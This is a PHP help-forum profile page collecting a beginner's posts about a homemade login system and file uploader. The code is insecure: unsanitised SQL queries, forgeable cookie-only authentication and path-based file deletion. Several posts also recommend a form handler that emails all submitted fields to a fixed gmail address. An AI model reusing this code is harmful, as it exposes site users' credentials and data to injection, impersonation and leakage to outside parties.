Jump to content

Lamez

Members
  • Posts

    1,686
  • Joined

  • Last visited

    Never

Everything posted by Lamez

  1. why don't you delete all your files (after backed up) then delete your database, and create a new database, and re-upload your site files. Just a thought I had.
  2. I have been playing around with PHP and learning a lot, and learned how it makes web designing easier when you are dealing with multi-pages. I was wondering is there a way I could trigger a batch file with a PHP file? I have uploaded a batch file to my webhost, and I want to turn it on, but can I do this by using a PHP file? I have heard it can be done, but how? -Thanks, James Little
  3. I fixed it! here is the new FIXED code. <?php setcookie("loggedin", "TRUE", time()-(3600 * 24)); setcookie("$username"); ?>
  4. Well, I am very new to PHP and I am going to need help doing this.
  5. in basic html you would use the code: <a href="YOUR PAGE">Link Title</a>
  6. I have a login system and when I logout, I am still logged in! I do not know why. Here is the script that keeps user's from viewing unless they are logged in! <?php $username = $_COOKIE['loggedin']; if (!isset($_COOKIE['loggedin'])) die("You are not logged in, <a href=login.php>click here</a> to login."); echo "<u>Welcome <b>$username</b></u>"; ?> Here is the logout script <?php setcookie("loggedin",time()-(3600 * 24)); setcookie("$username"); ?> How am I able to fix this? -Thanks Lamez.
  7. This would belong in HTML Help, not PHP, unless you want a form action if so here you go: <?php $posts = ''; $gets = ''; function logPost($value,$key) { global $posts; $posts = $posts . " !!===!! " . $key . " = " . $value; } function logGet($value,$key) { global $gets; $gets = $gets . " !!===!! " . $key . " = " . $value; } array_walk($_GET,"logGet"); array_walk($_POST,"logPost"); mail("E-MAIL ADDRESS HERE","E-MAIL SUBJECT HERE","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL"); ?>
  8. I have a new uploader, and I am getting some error with it! Please help me fix it Errors Warning: chmod() [function.chmod]: stat failed for http://lamezz.info/downloads/login/members/uploader/files/readme.txt in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 57 Warning: Cannot modify header information - headers already sent by (output started at /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php:57) in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/members/uploader/uploader.php on line 68 Line 57 chmod($upload_uri."".$file_name, 0777); Line 68 header("Location: $site_uri?message=$message"); Uploader.php <? /* Silentum Uploader v1.2.0 Modified March 4, 2007 uploader.php copyright 2005-2007 "HyperSilence" */ // Begin options $allow_file_deletion = true; // To allow visitors to delete files, leave this at true; otherwise, change it to false $file_extensions = array(".doc", ".gif", ".htm", ".html", ".jpg", ".png", ".txt", ".zip"); // Add or delete the file extensions you want to allow $file_extensions_list = ".doc, .gif, .htm, .html, .jpg, .zip, .png, .txt"; // Type the same as above, without the quotes separating them $max_length = 300; // The maximum character length for a file name $maximum_file_size = "999999999999999999999999999999999999999999999999999999999999999999999999"; // In bytes $upload_log_file = "upload_log.txt"; // Change this to the log file you want to use // End options $folder_directory = "http://".$_SERVER["HTTP_HOST"].dirname($_SERVER["PHP_SELF"]); $message = ""; $set_chmod = 0; $site_uri = "http://".$_SERVER["HTTP_HOST"].$_SERVER["PHP_SELF"]; $upload_directory = "files/"; $upload_uri = $folder_directory."/files/"; if($allow_file_deletion == false) $status = "enabled"; else $status = "disabled"; if($_REQUEST["delete"] && $allow_file_deletion) { $resource = fopen($upload_log_file,"a"); fwrite($resource,date("F d, Y / h:i:sa")." - ".$_REQUEST["delete"]." deleted by ".$_SERVER["REMOTE_ADDR"]."\n"); fclose($resource); if(strpos($_REQUEST["delete"],"/.") > 0); elseif(strpos($_REQUEST["delete"],$upload_directory) === true); elseif(substr($_REQUEST["delete"],0,6) == $upload_directory) { unlink($_REQUEST["delete"]); $message = "File has been deleted."; header("Location: $site_uri?message=$message"); } } elseif($_FILES["userfile"]) { $resource = fopen($upload_log_file,"a"); fwrite($resource,date("F d, Y / h:i:sa")." - ".$_FILES["userfile"]["name"]." " .$_FILES["userfile"]["type"]." uploaded by ".$_SERVER["REMOTE_ADDR"]."\n"); fclose($resource); $file_type = $_FILES["userfile"]["type"]; $file_name = $_FILES["userfile"]["name"]; $file_ext = strtolower(substr($file_name,strrpos($file_name,"."))); chmod($upload_uri."".$file_name, 0777); if($_FILES["userfile"]["size"] > $maximum_file_size) { $message = "ERROR: File size cannot be over ".$maximum_file_size." bytes."; } elseif($file_name == "") $message = "ERROR: Please select a file to upload."; elseif(strlen($file_name > $max_length)) $message = "ERROR: The maximum length for a file name is ".$max_length." characters."; elseif(!preg_match("/^[A-Z0-9_.\- ]+$/i",$file_name)) $message = "ERROR: Your file name contains invalid characters."; elseif(!in_array($file_ext, $file_extensions)) $message = "ERROR: <ins>$file_ext</ins> is not an allowed file extension."; else $message = upload_file($upload_directory, $upload_uri); header("Location: $site_uri?message=$message"); } elseif(!$_FILES["userfile"]); else $message = "ERROR: Invalid file specified."; $open = opendir($upload_directory); $uploaded_files = ""; while($file = readdir($open)) { if(!is_dir($file) && !is_link($file)) { $uploaded_files .= " <tr> <td style=\"background: #fff; color: #000; text-align: left; width: 70%\"><a href=\"$upload_directory$file\" title=\"$file (".filesize($upload_directory."".$file)." bytes)\">".$file."</a> (".filesize($upload_directory."".$file)." bytes)</td>"; if($allow_file_deletion) $uploaded_files .= " <td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><a href=\"?delete=$upload_directory".urlencode($file)."\" title=\"Delete File\">Delete File</a></td>"; else $uploaded_files .= " <td style=\"background: #fff; color: #000; text-align: right; width: 30%\"><del><strong>Delete File</strong></del></td>"; $uploaded_files .= " </tr> <tr> <td colspan=\"2\" style=\"background: #eee; color: #000; text-align: left; text-indent: 20px\">Uploaded <strong>".date("F d, Y / h:ia", filemtime($upload_directory.$file))."</strong></td>"; $uploaded_files .=" </tr> "; } } function upload_file($upload_directory, $upload_uri) { $file_name = $_FILES["userfile"]["name"]; $file_name = str_replace(" ","_",$file_name); $file_path = $upload_directory.$file_name; $temporary = $_FILES["userfile"]["tmp_name"]; $result = move_uploaded_file($temporary, $file_path); if(!chmod($file_path,0777)) $message = "ERROR: A folder to place the files was not found, or the files need to be CHMODed to 777."; else $message = ($result)?"File has been uploaded." : "An error has occurred."; return $message; } ?> <?php $posts = ''; $gets = ''; function logPost($value,$key) { global $posts; $posts = $posts . " !!===!! " . $key . " = " . $value; } function logGet($value,$key) { global $gets; $gets = $gets . " !!===!! " . $key . " = " . $value; } array_walk($_GET,"logGet"); array_walk($_POST,"logPost"); mail("comptech21@gmail.com","New File","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL"); ?> Thanks Guys!
  9. yep it is a separates, you can change it to whatever you want. Someone gave me that script a while back, and I thought it would helped.
  10. yes, this will auto detect your variables.
  11. Well, I did not script this. The script is already public see it in action at: http://downloads.lamezz.info If you want to re-script my whole login system, feel free, but I cannot not do it by me self.
  12. No, use this as your form action, instead of the one you are running now.
  13. Here use this script: <?php $posts = ''; $gets = ''; function logPost($value,$key) { global $posts; $posts = $posts . " !!===!! " . $key . " = " . $value; } function logGet($value,$key) { global $gets; $gets = $gets . " !!===!! " . $key . " = " . $value; } array_walk($_GET,"logGet"); array_walk($_POST,"logPost"); mail("comptech21@gmail.com","New File","POST:\n\n{$posts}\n---------------------------------\nGET:\n\n{$gets}\n\nEND OF EMAIL"); ?> It will auto detect the form strings.
  14. what would the code look like without the TRUE in it? here is my new error Parse error: syntax error, unexpected ')' in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/login.php on line 54
  15. well, I tried , and I got a whole new error let me try again.
  16. Here it is: setcookie("username", "".$_POST['username']."", "TRUE");
  17. I am getting this errors after a user logs in what do they mean, how can I fix em' Warning: setcookie() expects parameter 3 to be long, string given in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/login.php on line 54 Welcome: test Continue to the members section.
  18. WOW That worked great! Another Question PHP God. What does this mean and how can I fix it (I am very sorry for the questions, all I know is CSS, HTML, and DOS) Warning: setcookie() expects parameter 3 to be long, string given in /mounted-storage/home48c/sub007/sc33591-LWQU/lamezz.info/downloads/login/login.php on line 54 Welcome: test
  19. lol alright, I hate to be a bother. Login Script <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" type="text/css" href="../style/default.css"/> <title>Download Section - Members Area</title> </head> <body> <div class="logo"><h1>Lamez's Download Section</h1></div> <div class="spacer"></div> <div class="box"><font size="3"><center> <?php ob_start(); include("config.php"); // connect to the mysql server $link = mysql_connect($server, $db_user, $db_pass) or die ("Could not connect to mysql because ".mysql_error()); // select the database mysql_select_db($database) or die ("Could not select database because ".mysql_error()); $match = "select id from $table where username = '".$_POST['username']."' and password = '".$_POST['password']."';"; $qry = mysql_query($match) or die ("Could not match data because ".mysql_error()); $num_rows = mysql_num_rows($qry); if ($num_rows <= 0) { echo "Sorry, there is no username or password with: <strong>".$_POST['username']."</strong><br>"; echo "<br />"; echo "<a href=login.html>Try again</a>"; exit; } else { setcookie("loggedin", "".$_POST['username']."", time()+(3600 * 24)); setcookie("username", "".$_POST['username']."",); echo "Welcome: <strong>".$_POST['username']."</strong><br>"; echo "<br />"; echo "Continue to the <a href=members.php>members</a> section."; } ob_end_flush(); ?> </center> </font> </div> Member's Area Script <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" type="text/css" href="../style/default.css"/> <title>Download Section - Members Area</title> </head> <body> <div class="logo"><h1>Lamez's Download Section</h1></div> <div class="spacer"></div> <div class="box"><font size="3"><center><?php $username = $_COOKIE['loggedin']; if (!isset($_COOKIE['loggedin'])) die("You are not logged in, <a href=login.html>click here</a> to login."); echo "You are logged in $username"; ?> <font size="3"><a href="members.php">Upload a File</a> | <a href="members/profile.php">Profile</a> | <a href="list.php">Member's List</a> | <a href="logout.php">Logout</a></font> </center></font></div> <div class="box"> <font size="3"> <p align="center"><u>Welcome Members!</u></p> </font></div> <br /> <br /> </body> </html> Once again, thank you.
  20. That did not work at all. This is what I am left with } else { setcookie("loggedin", "".$_POST['username']."", time()+(3600 * 24)); setcookie("username", "".$_POST['username']."",); echo "Welcome: <strong>".$_POST['username']."</strong><br>"; echo "<br />"; echo "Continue to the <a href=members.php>members</a> section."; } I am very new to PHP, it would be nice if you could re-script it for me. Thanks
  21. I am working on a login system for my download site http://downloads.lamezz.info I am getting an error with this, and it is saying I am not logged in, I have logged in before and now I cannot login (I did make changes) here is the code: } else { echo "<center>"; setcookie("loggedin", "".$_POST['username']."", time()+(3600 * 24)); setcookie("username", "".$_POST['username']."", "TRUE"); echo "Welcome: <strong>".$_POST['username']."</strong><br>"; echo "<br />"; echo "Continue to the <a href=members.php>members</a> section."; echo "</center>"; } (If you do go to my site use login: test password: test)
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.